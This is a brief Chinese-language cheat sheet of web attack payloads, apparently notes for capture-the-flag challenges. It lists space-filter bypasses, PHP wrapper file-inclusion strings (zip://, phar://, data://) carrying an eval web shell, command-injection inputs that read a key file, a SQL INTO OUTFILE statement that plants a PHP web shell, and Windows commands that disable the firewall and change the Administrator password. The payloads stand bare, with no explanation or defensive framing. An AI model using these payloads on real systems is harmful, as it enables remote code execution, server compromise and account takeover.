空格繞過:/**/? URL編碼

偽協議:

page=zip://xxx/xx/x/x/xxx.jpg%23解壓后的名字

page=phar://xxx/xx/x/x/xxx.jpg/解壓后的名字

page=ddata://ata://text/plain,<?php @eval($_POST['x']) ;?>

page=data://text/plain,<?php @eval($_POST['x']) ;?>

127.0.0.1 | grep . ../key.php? 有空格

127.0.0.1 && c\at ../key*

select '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php';

net firewall set opmode disable

net user Administrator ~1Qa